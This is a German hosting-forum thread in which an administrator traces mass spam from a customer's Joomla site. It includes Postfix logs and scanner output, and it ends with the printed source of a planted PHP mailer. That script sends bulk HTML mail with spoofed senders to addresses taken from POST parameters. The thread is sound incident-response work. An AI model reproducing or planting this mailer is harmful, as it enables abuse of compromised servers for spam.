# [Postfix] Spam Versand - Herkunft unbekannt... Hilfe



## Simone-Alicia (21. Juni 2016)

Hallo,
seit heute Nachmittag wird von einem unserer Server unter einer kundendomain (kunden-domain.de) massenhaft spam-mails versendet.
als absender haben die mails webmaster@kunden-domain.de diese Mailbox gibt es auf dem server jedoch nicht.
in der Mail.log kann ich auch keinen connect erkennen, wo diese mails her kommen bzw. von wo sie gesendet werden.

der kunde hat ein joomla 2.5 für seine webseite, dieses scheint aber clean zu sein bzw. es deutet nichts darauf hin, dass darüber die mails versendet werden.

hier mal einen "kleinen" (lückenhaften) auszug aus der Mail.log

```
Jun 21 13:49:22 isp-srv2 postfix/qmgr[3182]: 16C843345C9: from=<webmaster@kunden-domain.de>, size=5387, nrcpt=1 (queue active)
Jun 21 13:49:22 isp-srv2 postfix/qmgr[3182]: 751363345DA: from=<webmaster@kunden-domain.de>, size=5431, nrcpt=1 (queue active)
...
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: extract_addr: input: <webmaster@kunden-domain.de>
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: smtpd_check_addr: addr=webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: send attr address = webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: input attribute value: webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: rewrite_clnt: local: webmaster@kunden-domain.de -> webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: send attr address = webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: input attribute value: kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: input attribute value: webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: resolve_clnt: `' -> `webmaster@kunden-domain.de' -> transp=`dovecot' host=`kunden-domain.de' rcpt=`webmaster@kunden-domain.de' flags= class=virtual
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: ctable_locate: install entry key webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: extract_addr: in: <webmaster@kunden-domain.de>, result: webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: reject_unauth_destination: webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: permit_auth_destination: webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: ctable_locate: move existing entry key webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: check_mail_access: webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: ctable_locate: leave existing entry key webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: check_access: webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: check_domain_access: kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: ctable_locate: leave existing entry key webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: maps_find: recipient_canonical_maps: webmaster@kunden-domain.de: not found
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: match_string: kunden-domain.de ~? isp-srv2.server-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: match_string: kunden-domain.de ~? localhost
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: match_string: kunden-domain.de ~? localhost.localdomain
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: match_list_match: kunden-domain.de: no match
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: maps_find: recipient_canonical_maps: @kunden-domain.de: not found
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: mail_addr_find: webmaster@kunden-domain.de -> (not found)
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: maps_find: canonical_maps: webmaster@kunden-domain.de: not found
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: match_string: kunden-domain.de ~? isp-srv2.server-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: match_string: kunden-domain.de ~? localhost
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: match_string: kunden-domain.de ~? localhost.localdomain
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: match_list_match: kunden-domain.de: no match
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: maps_find: canonical_maps: @kunden-domain.de: not found
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: mail_addr_find: webmaster@kunden-domain.de -> (not found)
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: send attr key = webmaster@kunden-domain.de
Jun 21 14:39:25 isp-srv2 postfix/smtpd[2030]: dict_proxy_lookup: table=mysql:/etc/postfix/mysql-virtual_forwardings.cf flags=lock|fold_fix key=webmaster@kunden-domain.de -> status=1 result=

Jun 21 16:59:22 isp-srv2 postfix/qmgr[3182]: A2B0A33473C: from=<webmaster@kunden-domain.de>, size=5391, nrcpt=1 (queue active)
Jun 21 16:59:26 isp-srv2 postfix/smtp[25950]: C4B0633462E: to=<contato@irecarga.com.br>, relay=mail4.ascentymail.com[179.190.48.44]:25, delay=67758, delays=67755/0.09/1.7/1.6, dsn=4.1.7, status=deferred (host mail4.ascentymail.com[179.190.48.44] said: 450 4.1.7 <webmaster@kunden-domain.de>: Sender address rejected: unverified address: host mail.kunden-domain.de[212.16.123.456] said: 550 5.1.1 <webmaster@kunden-domain.de>: Recipient address rejected: User unknown in virtual mailbox table (in reply to RCPT TO command) (in reply to RCPT TO command))


Jun 21 17:59:22 isp-srv2 postfix/qmgr[3182]: D647B334625: from=<webmaster@kunden-domain.de>, size=5395, nrcpt=1 (queue active)
Jun 21 17:59:22 isp-srv2 postfix/qmgr[3182]: D10DB3345CD: from=<webmaster@kunden-domain.de>, size=5395, nrcpt=1 (queue active)
...
Jun 21 18:18:56 isp-srv2 postfix/smtpd[10964]: maps_find: virtual_mailbox_maps: webmaster@kunden-domain.de: not found
Jun 21 18:18:56 isp-srv2 postfix/smtpd[10964]: match_string: kunden-domain.de ~? isp-srv2.server-domain.de
Jun 21 18:18:56 isp-srv2 postfix/smtpd[10964]: match_string: kunden-domain.de ~? localhost
Jun 21 18:18:56 isp-srv2 postfix/smtpd[10964]: match_string: kunden-domain.de ~? localhost.localdomain
Jun 21 18:18:56 isp-srv2 postfix/smtpd[10964]: match_list_match: kunden-domain.de: no match
Jun 21 18:18:56 isp-srv2 postfix/smtpd[10964]: send attr key = @kunden-domain.de
Jun 21 18:18:56 isp-srv2 postfix/smtpd[10964]: dict_proxy_lookup: table=mysql:/etc/postfix/mysql-virtual_mailboxes.cf flags=lock|fold_fix key=@kunden-domain.de -> status=1 result=
Jun 21 18:18:56 isp-srv2 postfix/smtpd[10964]: maps_find: virtual_mailbox_maps: @kunden-domain.de: not found
Jun 21 18:18:56 isp-srv2 postfix/smtpd[10964]: mail_addr_find: webmaster@kunden-domain.de -> (not found)
Jun 21 18:18:56 isp-srv2 postfix/smtpd[10964]: NOQUEUE: reject: RCPT from mail-bn1bhn0254.outbound.protection.outlook.com[157.56.111.254]: 550 5.1.1 <webmaster@kunden-domain.de>: Recipient address rejected: User unknown in virtual mailbox table; from=<> to=<webmaster@kunden-domain.de> proto=ESMTP helo=<na01-bn1-obe.outbound.protection.outlook.com>
...
Jun 21 18:19:06 isp-srv2 postfix/qmgr[3182]: 4B76733474B: from=<webmaster@kunden-domain.de>, size=4322, nrcpt=1 (queue active)
Jun 21 18:19:06 isp-srv2 amavis[998]: (00998-11-533) Passed BAD-HEADER, <webmaster@kunden-domain.de> -> <henningproduz@henningproduz.com.br>, quarantine: K/badh-KUNUUKP19lN8, Message-ID: <20160621161812.C8B1C334A24@isp-srv2.server-domain.de>, mail_id: KUNUUKP19lN8, Hits: 4.271, size: 3767, queued_as: 4B76733474B, 82 ms
...
Jun 21 18:19:09 isp-srv2 postfix/smtpd[7016]: maps_find: virtual_mailbox_maps: webmaster@kunden-domain.de: not found
Jun 21 18:19:09 isp-srv2 postfix/smtpd[7016]: match_string: kunden-domain.de ~? isp-srv2.server-domain.de
Jun 21 18:19:09 isp-srv2 postfix/smtpd[7016]: match_string: kunden-domain.de ~? localhost
Jun 21 18:19:09 isp-srv2 postfix/smtpd[7016]: match_string: kunden-domain.de ~? localhost.localdomain
Jun 21 18:19:09 isp-srv2 postfix/smtpd[7016]: match_list_match: kunden-domain.de: no match
Jun 21 18:19:09 isp-srv2 postfix/smtpd[7016]: send attr key = @kunden-domain.de
Jun 21 18:19:09 isp-srv2 postfix/smtpd[7016]: dict_proxy_lookup: table=mysql:/etc/postfix/mysql-virtual_mailboxes.cf flags=lock|fold_fix key=@kunden-domain.de -> status=1 result=
Jun 21 18:19:09 isp-srv2 postfix/smtpd[7016]: maps_find: virtual_mailbox_maps: @kunden-domain.de: not found
Jun 21 18:19:09 isp-srv2 postfix/smtpd[7016]: mail_addr_find: webmaster@kunden-domain.de -> (not found)
Jun 21 18:19:09 isp-srv2 postfix/smtpd[7016]: NOQUEUE: reject: RCPT from oi-mta-09.oi.com.br[179.124.32.236]: 550 5.1.1 <webmaster@kunden-domain.de>: Recipient address rejected: User unknown in virtual mailbox table; from=<> to=<webmaster@kunden-domain.de> proto=ESMTP helo=<oi-mta-03.oi.com.br>
Jun 21 18:19:09 isp-srv2 postfix/smtpd[7016]: > oi-mta-09.oi.com.br[179.124.32.236]: 550 5.1.1 <webmaster@kunden-domain.de>: Recipient address rejected: User unknown in virtual mailbox table
Jun 21 18:19:09 isp-srv2 postfix/pipe[11280]: 17334334614: to=<webmaster@kunden-domain.de>, relay=dovecot, delay=0.16, delays=0.02/0/0/0.14, dsn=5.1.1, status=bounced (user unknown)
Jun 21 18:19:10 isp-srv2 postfix/smtpd[10840]: < mail-bn1bhn0254.outbound.protection.outlook.com[157.56.111.254]: RCPT TO:<webmaster@kunden-domain.de>
Jun 21 18:19:10 isp-srv2 postfix/smtpd[10840]: extract_addr: input: <webmaster@kunden-domain.de>
Jun 21 18:19:10 isp-srv2 postfix/smtpd[10840]: smtpd_check_addr: addr=webmaster@kunden-domain.de
Jun 21 18:19:10 isp-srv2 postfix/smtpd[10840]: ctable_locate: leave existing entry key webmaster@kunden-domain.de
Jun 21 18:19:10 isp-srv2 postfix/smtpd[10840]: extract_addr: in: <webmaster@kunden-domain.de>, result: webmaster@kunden-domain.de
Jun 21 18:19:10 isp-srv2 postfix/smtpd[10840]: reject_unauth_destination: webmaster@kunden-domain.de
Jun 21 18:19:10 isp-srv2 postfix/smtpd[10840]: permit_auth_destination: webmaster@kunden-domain.de
```

Ich hoffe mir kan jemand ein Tip geben.

Vielen Dank
Liebe Grüße
Simone


----------



## florian030 (22. Juni 2016)

Irgendwie muss ja Postfix die Mails bekommen haben.  Vor "postfix/qmgr[3182]: D647B334625: from=<webmaster@kunden-domain.de>" fehlt was in Deinem Log.
Wie hast Du denn die Seite nach malware untersucht?


----------



## Till (22. Juni 2016)

Ich denke mal Dein Jomla ist von malware befallen, die webmaster@ adresse weist darauf hin dass der spam versand per PHP script aus der Webseite erfolgt. Check mal die Seite auf Malware. Du solltest auch in den Mail headern der mails die noch in der mailqueue sind sehen können, durch welches PHP script sie versendet werden.


----------



## Simone-Alicia (22. Juni 2016)

Hallo Till,
habe nun mal das entsprechende Web mit eurem ISPProtect gescannt. Das ergebnis sieht wie folgt aus

```
Found 2 malware file(s)
================================
Malware Sanesecurity.Malware.21995.Backdoor in /var/www/clients/client28/web66/web/components/com_content/views/article/articie.php
Malware {ISPP}suspect.eval.base64 in /var/www/clients/client28/web66/web/templates/atomic/cutia.php
================================
```
Wie gehts jetzt weiter? Google liefert mir leder keine Infos 

Danke, liebe Grüße
Simone


----------



## Till (23. Juni 2016)

Schau Dir mal den Inhalt der dateien an, ob es malware ist. Wenn Du Dich mit PHP programmierung nicht auskennst um das zu erkennen, dann kopiere die Dateien mal testweise in einen Ordner außerhalb des web root, z.B. nach 
/var/www/clients/client28/web66/private/

Wenn Die Website danach noch geht, dann waren die Dateien nicht notwendig bzw. sind reine Malware. Des weiteren stell sicher dass Du das CMS und alle Plugins des CMS aktualisierst, um die Sicherheitslücke zu schließen durch die die Dateien hoch geladen worden sind.


----------



## Simone-Alicia (26. Juni 2016)

Hallo,
so habe die scheinbar infizierten Dateien verschoben. Die Webseite war noch funktionstüchtig. Aber trotzdem werden weiterhin Mails verschickt. 

Liebe Grüße
Simone

###Update###
Habe den Übeltäter gefunden. Es war eine Datei namens Top.php im Atomic Template mit folgendem Inhalt:


```
<?php
$testa = $_POST['veio'];
if($testa != "") {
 $message = $_POST['html'];
 $subject = $_POST['assunto'];
 $to = $_POST['emails'];

  $i = 0;
 $count = 1;

  $email = explode("\n", $to);
  while($email[$i]) {
  $dataHora = date("d/m/Y h:i(worry)");
  $EmailTemporario = $email[$i];
  $message = stripslashes($message);
  $headers  = "MIME-Version: 1.0\r\n";
  $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
  $headers .= "From: ".$nome." <".$EmailTemporario.">\r\n";
  mail($EmailTemporario, $subject."  ".$dataHora, $message.$dataHora, $headers);
  $i++;
  $count++;
 }
 $count--;
}
?>
```
Danke für die Hilfe!
Liebe Grüße
Simone


----------



## florian030 (26. Juni 2016)

Du solltest jetzt nur noch herausfinden, WIE die Datei auf den Server gekommen ist. Evtl. per FTP, vielleucht hat die Seite jetzt aber auch einen zweiten Administrator oder das Paßwort des Adminstrators ist herausgefunden worden.


----------

